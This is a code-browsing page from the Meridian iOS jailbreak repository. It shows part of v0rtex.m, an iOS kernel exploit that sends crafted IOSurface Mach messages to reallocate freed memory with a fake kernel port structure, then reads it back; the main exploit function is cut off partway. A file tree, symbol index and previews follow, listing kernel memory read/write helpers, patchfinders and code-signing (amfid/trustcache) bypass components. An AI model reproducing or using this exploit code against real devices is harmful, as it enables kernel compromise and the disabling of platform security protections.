static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        uint32_t selector;
        mach_msg_type_number_t scalar_inputCnt;
        mach_msg_type_number_t inband_inputCnt;
        uint32_t inband_input[4];
        mach_vm_address_t ool_input;
        mach_vm_size_t ool_input_size;
        mach_msg_type_number_t inband_outputCnt;
        mach_msg_type_number_t scalar_outputCnt;
        mach_vm_address_t ool_output;
        mach_vm_size_t ool_output_size;
    } DeleteRequest;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        uint32_t selector;
        mach_msg_type_number_t scalar_inputCnt;
        mach_msg_type_number_t inband_inputCnt;
        mach_vm_address_t ool_input;
        mach_vm_size_t ool_input_size;
        mach_msg_type_number_t inband_outputCnt;
        mach_msg_type_number_t scalar_outputCnt;
        mach_vm_address_t ool_output;
        mach_vm_size_t ool_output_size;
    } SetRequest;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_type_number_t inband_outputCnt;
        char inband_output[4096];
        mach_msg_type_number_t scalar_outputCnt;
        uint64_t scalar_output[16];
        mach_vm_size_t ool_output_size;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    // Delete
    union {
        DeleteRequest In;
        Reply Out;
    } DMess;
    
    DeleteRequest *DInP = &DMess.In;
    Reply *DOutP = &DMess.Out;
    
    DInP->NDR = NDR_record;
    DInP->selector = IOSURFACE_DELETE_VALUE;
    DInP->scalar_inputCnt = 0;
    
    DInP->inband_input[0] = surfaceId;
    DInP->inband_input[2] = transpose(propertyId);
    DInP->inband_input[3] = 0x0; // Null terminator
    DInP->inband_inputCnt = sizeof(DInP->inband_input);
    
    DInP->ool_input = 0;
    DInP->ool_input_size = 0;
    
    DInP->inband_outputCnt = sizeof(uint32_t);
    DInP->scalar_outputCnt = 0;
    DInP->ool_output = 0;
    DInP->ool_output_size = 0;
    
    DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    DInP->Head.msgh_remote_port = client;
    DInP->Head.msgh_local_port = mig_get_reply_port();
    DInP->Head.msgh_id = 2865;
    DInP->Head.msgh_reserved = 0;
    
    // Set
    union {
        SetRequest In;
        Reply Out;
    } SMess;
    
    SetRequest *SInP = &SMess.In;
    Reply *SOutP = &SMess.Out;
    
    SInP->NDR = NDR_record;
    SInP->selector = IOSURFACE_SET_VALUE;
    SInP->scalar_inputCnt = 0;
    
    SInP->inband_inputCnt = 0;
    
    SInP->ool_input = (mach_vm_address_t)buf;
    SInP->ool_input_size = len;
    
    SInP->inband_outputCnt = sizeof(uint32_t);
    SInP->scalar_outputCnt = 0;
    SInP->ool_output = 0;
    SInP->ool_output_size = 0;
    
    SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    SInP->Head.msgh_remote_port = client;
    SInP->Head.msgh_local_port = mig_get_reply_port();
    SInP->Head.msgh_id = 2865;
    SInP->Head.msgh_reserved = 0;
    
    // Deep breath
    sched_yield();
    
    // Fire
    kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = DOutP->RetCode;
    }
    if(ret != KERN_SUCCESS)
    {
        return ret;
    }
    ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = SOutP->RetCode;
    }
    return ret;
}

// ********** ********** ********** data structures ********** ********** **********

#ifdef __LP64__
typedef volatile struct
{
    kptr_t prev;
    kptr_t next;
    kptr_t start;
    kptr_t end;
} kmap_hdr_t;
#endif

typedef volatile struct {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct {
        kptr_t data;
        uint32_t type;
#ifdef __LP64__
        uint32_t pad;
#endif
    } ip_lock; // spinlock
    struct {
        struct {
            struct {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct {
                    kptr_t next;
                    kptr_t prev;
                } waitq_queue;
            } waitq;
            kptr_t messages;
            uint32_t seqno;
            uint32_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
#ifdef __LP64__
            uint32_t pad;
#endif
        } port;
        kptr_t klist;
    } ip_messages;
    kptr_t ip_receiver;
    kptr_t ip_kobject;
    kptr_t ip_nsrequest;
    kptr_t ip_pdrequest;
    kptr_t ip_requests;
    kptr_t ip_premsg;
    uint64_t ip_context;
    uint32_t ip_flags;
    uint32_t ip_mscount;
    uint32_t ip_srights;
    uint32_t ip_sorights;
} kport_t;

typedef volatile struct {
    union {
        kptr_t port;
        uint32_t index;
    } notify;
    union {
        uint32_t name;
        kptr_t size;
    } name;
} kport_request_t;

typedef volatile union
{
    struct {
        struct {
            kptr_t data;
            uint32_t reserved : 24,
            type     :  8;
#ifdef __LP64__
            uint32_t pad;
#endif
        } lock; // mutex lock
        uint32_t ref_count;
        uint32_t active;
        uint32_t halting;
#ifdef __LP64__
        uint32_t pad;
#endif
        kptr_t map;
    } a;
    struct {
        char pad[OFFSET_TASK_ITK_SELF];
        kptr_t itk_self;
    } b;
} ktask_t;

// ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** **********

static kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len)
{
    bool twice = false;
    if(off + sizeof(kport_t) > pagesize)
    {
        twice = true;
        VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off);
        VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off);
    }
    else
    {
        VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t));
    }
    buf[6] = transpose(pageId);
    kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len);
    if(twice && ret == KERN_SUCCESS)
    {
        ++pageId;
        buf[6] = transpose(pageId);
        ret = reallocate_buf(client, surfaceId, pageId, buf, len);
    }
    return ret;
}

kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport)
{
    request[2] = transpose(pageId);
    size_t size = respsz;
    kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);
    LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));
    if(ret == KERN_SUCCESS && size == respsz)
    {
        size_t sz = pagesize - off;
        if(sz > sizeof(kport_t))
        {
            sz = sizeof(kport_t);
        }
        VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz);
        if(sz < sizeof(kport_t))
        {
            ++pageId;
            request[2] = transpose(pageId);
            size = respsz;
            ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);
            LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));
            if(ret == KERN_SUCCESS && size == respsz)
            {
                VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz);
            }
        }
    }
    if(ret == KERN_SUCCESS && size < respsz)
    {
        LOG("Response too short.");
        ret = KERN_FAILURE;
    }
    return ret;
}

// ********** ********** ********** ye olde pwnage ********** ********** **********

kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data)
{
    kern_return_t retval = KERN_FAILURE,
    ret = 0;
    task_t self = mach_task_self();
    host_t host = mach_host_self();
    
    io_connect_t client = MACH_PORT_NULL;
    mach_port_t stuffport = MACH_PORT_NULL;
    mach_port_t realport = MACH_PORT_NULL;
    mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };
    mach_port_t port = MACH_PORT_NULL;
    mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };
  
Download .txt
gitextract_2p5ujygs/

├── .gitignore
├── LICENSE.md
├── Meridian/
│   ├── Meridian/
│   │   ├── amfi.h
│   │   ├── amfi.m
│   │   ├── bootstrap/
│   │   │   ├── create-meridian-bootstrap.sh
│   │   │   └── meridian-bootstrap/
│   │   │       ├── bin/
│   │   │       │   ├── launchctl
│   │   │       │   └── uicache
│   │   │       ├── meridian/
│   │   │       │   ├── dropbear/
│   │   │       │   │   ├── dropbear
│   │   │       │   │   └── dropbear.plist
│   │   │       │   ├── ent.plist
│   │   │       │   ├── jailbreakd/
│   │   │       │   │   ├── jailbreakd
│   │   │       │   │   └── jailbreakd.plist
│   │   │       │   ├── ldrestart
│   │   │       │   ├── nohup
│   │   │       │   └── offsets.plist
│   │   │       └── private/
│   │   │           └── var/
│   │   │               └── log/
│   │   │                   └── lastlog
│   │   ├── common.h
│   │   ├── helpers/
│   │   │   ├── cs_blobs.h
│   │   │   ├── fucksigningservices.h
│   │   │   ├── fucksigningservices.m
│   │   │   ├── helpers.h
│   │   │   ├── helpers.m
│   │   │   ├── iokit.h
│   │   │   ├── kernel.h
│   │   │   ├── kernel.m
│   │   │   ├── main.m
│   │   │   ├── nonce.h
│   │   │   ├── nonce.m
│   │   │   ├── nvpatch.c
│   │   │   ├── nvpatch.h
│   │   │   ├── untar.h
│   │   │   └── untar.m
│   │   ├── jailbreak.h
│   │   ├── jailbreak.m
│   │   ├── mach/
│   │   │   ├── jailbreak_daemonUser.c
│   │   │   └── jailbreak_daemonUser.h
│   │   ├── patchfinders/
│   │   │   ├── liboffsetfinder64.hpp
│   │   │   ├── offsetdump.h
│   │   │   ├── offsetdump.m
│   │   │   ├── offsetfinder.h
│   │   │   ├── offsetfinder.mm
│   │   │   ├── patchfinder64.c
│   │   │   └── patchfinder64.h
│   │   ├── preferences.h
│   │   ├── preferences.m
│   │   ├── root-rw.h
│   │   ├── root-rw.m
│   │   ├── v0rtex.h
│   │   ├── v0rtex.m
│   │   └── views/
│   │       ├── AppDelegate.h
│   │       ├── AppDelegate.m
│   │       ├── Assets.xcassets/
│   │       │   ├── AppIcon-Blue.appiconset/
│   │       │   │   └── Contents.json
│   │       │   ├── AppIcon-White.appiconset/
│   │       │   │   └── Contents.json
│   │       │   ├── Contents.json
│   │       │   ├── Icons/
│   │       │   │   ├── Contents.json
│   │       │   │   ├── archive.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── console.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── gears.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── hammer.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── handshake.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── jail.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── ladybug.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── list.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── settings.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── source_code.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── synchronize.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── trash.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── twitter.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   └── www.imageset/
│   │       │   │       └── Contents.json
│   │       │   ├── Map.imageset/
│   │       │   │   └── Contents.json
│   │       │   └── Splash.imageset/
│   │       │       └── Contents.json
│   │       ├── Base.lproj/
│   │       │   ├── LaunchScreen.storyboard
│   │       │   └── Main.storyboard
│   │       ├── CreditsController.h
│   │       ├── CreditsController.m
│   │       ├── Info.plist
│   │       ├── SettingsController.h
│   │       ├── SettingsController.m
│   │       ├── ViewController.h
│   │       └── ViewController.m
│   ├── Meridian.xcodeproj/
│   │   ├── project.pbxproj
│   │   └── project.xcworkspace/
│   │       ├── contents.xcworkspacedata
│   │       └── xcshareddata/
│   │           ├── IDEWorkspaceChecks.plist
│   │           └── WorkspaceSettings.xcsettings
│   ├── amfid/
│   │   ├── Makefile
│   │   ├── common.h
│   │   ├── cs_blobs.h
│   │   ├── cs_dingling.h
│   │   ├── cs_dingling.m
│   │   ├── ent_patching.h
│   │   ├── ent_patching.m
│   │   ├── helpers/
│   │   │   ├── kexecute.h
│   │   │   ├── kexecute.m
│   │   │   ├── kmem.c
│   │   │   ├── kmem.h
│   │   │   ├── offsetof.c
│   │   │   ├── offsetof.h
│   │   │   ├── osobject.c
│   │   │   └── osobject.h
│   │   ├── kern_utils.h
│   │   ├── kern_utils.m
│   │   ├── main.m
│   │   └── ubc_headers.h
│   ├── exportPlist.plist
│   ├── fishhook/
│   │   ├── fishhook.c
│   │   └── fishhook.h
│   ├── jailbreakd/
│   │   ├── Makefile
│   │   ├── common.h
│   │   ├── entitlements.xml
│   │   ├── helpers/
│   │   │   ├── kexecute.h
│   │   │   ├── kexecute.m
│   │   │   ├── kmem.h
│   │   │   ├── kmem.m
│   │   │   ├── offsetof.c
│   │   │   ├── offsetof.h
│   │   │   ├── osobject.c
│   │   │   └── osobject.h
│   │   ├── kern_utils.h
│   │   ├── kern_utils.m
│   │   ├── mach/
│   │   │   ├── jailbreak_daemonServer.c
│   │   │   ├── jailbreak_daemonServer.h
│   │   │   └── mig.defs
│   │   ├── main.m
│   │   ├── sandbox.h
│   │   └── sandbox.m
│   ├── libimg4tool.a
│   ├── libmerged.a
│   ├── liboffsetfinder64.a
│   ├── libplist++.a
│   ├── libplist.a
│   └── pspawn_hook/
│       ├── Makefile
│       ├── mach/
│       │   ├── jailbreak_daemonUser.c
│       │   └── jailbreak_daemonUser.h
│       └── pspawn_hook.m
├── README.md
└── Working_with_libjailbreak.md
Download .txt
SYMBOL INDEX (171 symbols across 25 files)

FILE: Meridian/Meridian/amfi.h
  type img_info_t (line 12) | typedef struct {
  type trust_chain (line 22) | struct trust_chain {

FILE: Meridian/Meridian/common.h
  type kptr_t (line 11) | typedef uint64_t kptr_t;
  type kptr_t (line 14) | typedef uint32_t kptr_t;

FILE: Meridian/Meridian/helpers/cs_blobs.h
  type CS_CodeDirectory (line 34) | typedef struct __attribute__((packed)) {
  type CS_BlobIndex (line 72) | typedef struct __attribute__((packed)) {
  type CS_SuperBlob (line 77) | typedef struct __attribute__((packed)) {
  type CS_GenericBlob (line 85) | typedef struct __attribute__((packed)) {
  type SC_Scatter (line 91) | typedef struct __SC_Scatter {

FILE: Meridian/Meridian/helpers/iokit.h
  type mach_port_t (line 14) | typedef mach_port_t io_object_t;
  type io_object_t (line 15) | typedef io_object_t io_registry_entry_t;
  type io_object_t (line 16) | typedef io_object_t io_service_t;
  type io_object_t (line 17) | typedef io_object_t io_connect_t;
  type io_object_t (line 18) | typedef io_object_t io_iterator_t;

FILE: Meridian/Meridian/helpers/kernel.h
  type arg_type (line 11) | enum arg_type {
  type arg_desc (line 19) | typedef struct _arg_desc {

FILE: Meridian/Meridian/helpers/nvpatch.c
  type OFVar (line 41) | typedef struct
  type segment_t (line 49) | typedef struct
  function nvpatch (line 56) | int nvpatch(const char *target) {

FILE: Meridian/Meridian/mach/jailbreak_daemonUser.c
  function mig_internal (line 112) | mig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *O...
  function mig_external (line 139) | mig_external kern_return_t jbd_call

FILE: Meridian/Meridian/mach/jailbreak_daemonUser.h
  type function_table_entry (line 68) | typedef struct {
  type function_table_entry (line 72) | typedef function_table_entry   *function_table_t;
  type __Request__call_t (line 127) | typedef struct {
  type __Reply__call_t (line 155) | typedef struct {

FILE: Meridian/Meridian/patchfinders/liboffsetfinder64.hpp
  type tihmstar (line 24) | namespace tihmstar {
    class exception (line 26) | class exception : public std::exception{
      method exception (line 30) | exception(int code, std::string err) : _err(err), _code(code) {}
      method exception (line 31) | exception(std::string err) : _err(err), _code(0) {}
      method exception (line 32) | exception(int code) : _code(code) {}
      method code (line 34) | int code(){return _code;}
    type patchfinder64 (line 36) | namespace patchfinder64{
      class patch (line 39) | class patch{
        class patch (line 41) | class patch
        method patch (line 46) | patch(loc_t location, const void *patch, size_t patchSize, void(*s...
        method patch (line 51) | patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy...
        method slide (line 57) | void slide(uint64_t slide){
    class offsetfinder64 (line 70) | class offsetfinder64 {
      type text_t (line 72) | struct text_t{
      type symtab_command (line 87) | struct symtab_command
      type symtab_command (line 89) | struct symtab_command
    type patchfinder64 (line 161) | namespace patchfinder64{
      class patch (line 39) | class patch{
        class patch (line 41) | class patch
        method patch (line 46) | patch(loc_t location, const void *patch, size_t patchSize, void(*s...
        method patch (line 51) | patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy...
        method slide (line 57) | void slide(uint64_t slide){

FILE: Meridian/Meridian/patchfinders/patchfinder64.c
  type addr_t (line 14) | typedef unsigned long long addr_t;
  function HighestSetBit (line 81) | static int HighestSetBit(int N, uint32_t imm)
  function ZeroExtendOnes (line 92) | static uint64_t ZeroExtendOnes(unsigned M, unsigned N)	// zero extend M ...
  function RORZeroExtendOnes (line 98) | static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
  function Replicate (line 107) | static uint64_t Replicate(uint64_t val, unsigned bits)
  function DecodeBitMasks (line 117) | static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, i...
  function DecodeMov (line 135) | static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_...
  function addr_t (line 200) | static addr_t
  function addr_t (line 214) | static addr_t
  function addr_t (line 228) | static addr_t
  function addr_t (line 249) | static addr_t
  function addr_t (line 310) | static addr_t
  function addr_t (line 368) | static addr_t
  function addr_t (line 392) | static addr_t
  function addr_t (line 398) | static addr_t
  function addr_t (line 408) | static addr_t
  function init_patchfinder (line 447) | int
  function term_kernel (line 631) | void
  function addr_t (line 644) | addr_t
  function addr_t (line 668) | addr_t
  function addr_t (line 693) | addr_t
  function addr_t (line 710) | addr_t find_trustcache(void) {
  function addr_t (line 739) | addr_t find_amficache(void) {
  function find_boot_args (line 774) | uint64_t find_boot_args(unsigned* cmdline_offset) {
  function addr_t (line 843) | addr_t find_add_x0_x0_0x40_ret(void) {
  function addr_t (line 861) | addr_t find_OSBoolean_True(void) {
  function addr_t (line 889) | addr_t find_OSBoolean_False(void) {
  function addr_t (line 893) | addr_t find_OSUnserializeXML(void) {
  function addr_t (line 900) | addr_t find_smalloc(void) {
  function addr_t (line 907) | addr_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_...

FILE: Meridian/Meridian/v0rtex.h
  type offsets_t (line 5) | typedef struct
  type kern_return_t (line 49) | typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb...

FILE: Meridian/amfid/cs_blobs.h
  type CS_CodeDirectory (line 34) | typedef struct __attribute__((packed)) {
  type CS_BlobIndex (line 72) | typedef struct __attribute__((packed)) {
  type CS_SuperBlob (line 77) | typedef struct __attribute__((packed)) {
  type CS_GenericBlob (line 85) | typedef struct __attribute__((packed)) {
  type SC_Scatter (line 91) | typedef struct __SC_Scatter {

FILE: Meridian/amfid/cs_dingling.h
  type img_info_t (line 8) | typedef struct {

FILE: Meridian/amfid/helpers/kmem.c
  function remote_read_overwrite (line 6) | void remote_read_overwrite(mach_port_t task_port,
  function remote_write (line 23) | void remote_write(mach_port_t remote_task_port,
  function binary_load_address (line 36) | uint64_t binary_load_address() {
  function kread (line 52) | size_t kread(uint64_t where, void *p, size_t size) {
  function kwrite (line 70) | size_t kwrite(uint64_t where, const void *p, size_t size) {
  function kalloc (line 88) | uint64_t kalloc(vm_size_t size){
  function kfree (line 94) | void kfree(mach_vm_address_t address, vm_size_t size){
  function rk16 (line 98) | uint16_t rk16(uint64_t kaddr) {
  function rk32 (line 104) | uint32_t rk32(uint64_t kaddr) {
  function rk64 (line 110) | uint64_t rk64(uint64_t kaddr) {
  function wk16 (line 116) | void wk16(uint64_t kaddr, uint16_t val) {
  function wk32 (line 120) | void wk32(uint64_t kaddr, uint32_t val) {
  function wk64 (line 124) | void wk64(uint64_t kaddr, uint64_t val) {
  type kmap_hdr_t (line 129) | typedef struct {
  function zm_fix_addr (line 136) | uint64_t zm_fix_addr(uint64_t addr) {
  function kstrcmp (line 162) | int kstrcmp(uint64_t kstr, const char* str) {

FILE: Meridian/amfid/helpers/osobject.c
  function OSDictionary_SetItem (line 24) | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
  function _OSDictionary_GetItem (line 45) | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
  function OSDictionary_GetItem (line 61) | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
  function OSDictionary_Merge (line 73) | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
  function OSArray_Merge (line 81) | int OSArray_Merge(uint64_t array, uint64_t aArray) {
  function _OSArray_GetObject (line 88) | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
  function OSArray_GetObject (line 95) | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
  function OSArray_RemoveObject (line 105) | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
  function _OSUnserializeXML (line 113) | uint64_t _OSUnserializeXML(const char* buffer) {
  function OSUnserializeXML (line 127) | uint64_t OSUnserializeXML(const char* buffer) {
  function OSObject_Release (line 138) | void OSObject_Release(uint64_t osobject) {
  function OSObject_Retain (line 144) | void OSObject_Retain(uint64_t osobject) {
  function OSObject_GetRetainCount (line 150) | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
  function OSString_GetLength (line 156) | unsigned int OSString_GetLength(uint64_t osstring){

FILE: Meridian/amfid/kern_utils.h
  type mach_port_t (line 33) | typedef mach_port_t io_service_t;
  type mach_port_t (line 34) | typedef mach_port_t io_connect_t;

FILE: Meridian/amfid/ubc_headers.h
  type vtype (line 4) | enum vtype {
  type lck_mtx_t (line 20) | typedef struct {
  type vnode (line 27) | struct vnode
  type vnode (line 29) | struct vnode {
  type ubc_info (line 75) | struct ubc_info {
  type cs_blob (line 93) | struct cs_blob {
  type cs_hash (line 117) | struct cs_hash {
  type vnode_attr (line 126) | struct vnode_attr {

FILE: Meridian/fishhook/fishhook.c
  type mach_header_t (line 35) | typedef struct mach_header_64 mach_header_t;
  type segment_command_t (line 36) | typedef struct segment_command_64 segment_command_t;
  type section_t (line 37) | typedef struct section_64 section_t;
  type nlist_t (line 38) | typedef struct nlist_64 nlist_t;
  type mach_header_t (line 41) | typedef struct mach_header mach_header_t;
  type segment_command_t (line 42) | typedef struct segment_command segment_command_t;
  type section_t (line 43) | typedef struct section section_t;
  type nlist_t (line 44) | typedef struct nlist nlist_t;
  type rebindings_entry (line 52) | struct rebindings_entry {
  type rebindings_entry (line 58) | struct rebindings_entry
  function prepend_rebindings (line 60) | static int prepend_rebindings(struct rebindings_entry **rebindings_head,
  function perform_rebinding_with_section (line 79) | static void perform_rebinding_with_section(struct rebindings_entry *rebi...
  function rebind_symbols_for_image (line 116) | static void rebind_symbols_for_image(struct rebindings_entry *rebindings,
  function _rebind_symbols_for_image (line 178) | static void _rebind_symbols_for_image(const struct mach_header *header,
  function rebind_symbols_image (line 183) | int rebind_symbols_image(void *header,
  function rebind_symbols (line 194) | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {

FILE: Meridian/fishhook/fishhook.h
  type rebinding (line 44) | struct rebinding {
  type rebinding (line 59) | struct rebinding
  type rebinding (line 68) | struct rebinding

FILE: Meridian/jailbreakd/helpers/osobject.c
  function OSDictionary_SetItem (line 24) | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
  function _OSDictionary_GetItem (line 45) | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
  function OSDictionary_GetItem (line 61) | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
  function OSDictionary_Merge (line 73) | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
  function OSArray_Merge (line 81) | int OSArray_Merge(uint64_t array, uint64_t aArray) {
  function _OSArray_GetObject (line 88) | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
  function OSArray_GetObject (line 95) | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
  function OSArray_RemoveObject (line 105) | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
  function _OSUnserializeXML (line 113) | uint64_t _OSUnserializeXML(const char *buffer) {
  function OSUnserializeXML (line 127) | uint64_t OSUnserializeXML(const char *buffer) {
  function OSObject_Release (line 138) | void OSObject_Release(uint64_t osobject) {
  function OSObject_Retain (line 144) | void OSObject_Retain(uint64_t osobject) {
  function OSObject_GetRetainCount (line 150) | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
  function OSString_GetLength (line 156) | unsigned int OSString_GetLength(uint64_t osstring){

FILE: Meridian/jailbreakd/kern_utils.h
  type mach_port_t (line 10) | typedef mach_port_t io_service_t;
  type mach_port_t (line 11) | typedef mach_port_t io_connect_t;

FILE: Meridian/jailbreakd/mach/jailbreak_daemonServer.c
  function mig_internal (line 99) | mig_internal kern_return_t __MIG_check__Request__call_t(__attribute__((_...
  function mig_internal (line 117) | mig_internal novalue _Xcall
  type jbd_jailbreak_daemon_subsystem (line 172) | struct jbd_jailbreak_daemon_subsystem
  function mig_external (line 184) | mig_external boolean_t jailbreak_daemon_server
  function mig_external (line 215) | mig_external mig_routine_t jailbreak_daemon_server_routine

FILE: Meridian/jailbreakd/mach/jailbreak_daemonServer.h
  type function_table_entry (line 68) | typedef struct {
  type function_table_entry (line 72) | typedef function_table_entry   *function_table_t;
  type jbd_jailbreak_daemon_subsystem (line 122) | struct jbd_jailbreak_daemon_subsystem {
  type __Request__call_t (line 140) | typedef struct {
  type __Reply__call_t (line 169) | typedef struct {

FILE: Meridian/pspawn_hook/mach/jailbreak_daemonUser.c
  function mig_internal (line 112) | mig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *O...
  function mig_external (line 139) | mig_external kern_return_t jbd_call

FILE: Meridian/pspawn_hook/mach/jailbreak_daemonUser.h
  type function_table_entry (line 68) | typedef struct {
  type function_table_entry (line 72) | typedef function_table_entry   *function_table_t;
  type __Request__call_t (line 127) | typedef struct {
  type __Reply__call_t (line 155) | typedef struct {
Condensed preview — 136 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (618K chars).
[
  {
    "path": ".gitignore",
    "chars": 104,
    "preview": ".DS_Store\r\nxcuserdata\r\n*.xcuserstate\r\n.theos\r\nobj\r\nbuild_time\r\n**/bin\r\n\r\n!**/meridian-bootstrap/**/*\r\n\r\n"
  },
  {
    "path": "LICENSE.md",
    "chars": 1068,
    "preview": "MIT License\n\nCopyright (c) 2017 Ben Sparkes\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
  },
  {
    "path": "Meridian/Meridian/amfi.h",
    "chars": 997,
    "preview": "//\n//  amfi.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 19/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights res"
  },
  {
    "path": "Meridian/Meridian/amfi.m",
    "chars": 13659,
    "preview": "//\n//  amfi.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 19/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights res"
  },
  {
    "path": "Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh",
    "chars": 512,
    "preview": "#!/bin/bash\n\ncurrDir=$(dirname $0)\nmeridianDir=$currDir/../..\nbaseDir=$currDir/meridian-bootstrap\n\n# amfid_payload.dylib"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist",
    "chars": 873,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist",
    "chars": 553,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist",
    "chars": 1283,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist",
    "chars": 181,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "Meridian/Meridian/common.h",
    "chars": 331,
    "preview": "#ifndef COMMON_H\n#define COMMON_H\n\n#include <stdint.h>             // uint*_t\n#include <Foundation/Foundation.h>\n\n#defin"
  },
  {
    "path": "Meridian/Meridian/helpers/cs_blobs.h",
